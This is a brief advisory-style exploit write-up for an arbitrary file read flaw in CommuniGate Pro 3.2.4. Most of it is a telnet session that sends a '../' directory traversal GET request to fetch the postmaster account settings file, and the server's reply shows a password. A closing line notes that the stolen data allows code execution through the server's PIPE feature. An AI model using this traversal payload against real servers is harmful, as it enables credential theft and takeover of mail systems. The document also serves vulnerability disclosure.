CommuniGate Pro Arbitrary File Read Vulnerability

CommuniGate Pro Arbitrary File Read Vulnerability

Retrieve the postmaster/manager configuration file:
homer:~$ telnet ilf 8010
Escape character is '^]'.
GET /Guide/../../../../../../../../../../../var/CommuniGate/Accounts/postmaster.macnt/account.settings HTTP/1.0

HTTP/1.0 200 OK
Content-Length: 61
Date: Mon, 03 Apr 2000 09:17:35 GMT
Content-Type: application/octet-stream
Server: CommuniGatePro/3.2.4
Expires: Tue, 04 Apr 2000 09:17:35 GMT

{ ExternalINBOX = NO; Password = 8093; UseAppPassword = YES;}
Connection closed by foreign host.
homer:~$

Using this information, it is possible to alter the configuration on the mail server to allow execution using its PIPE feature.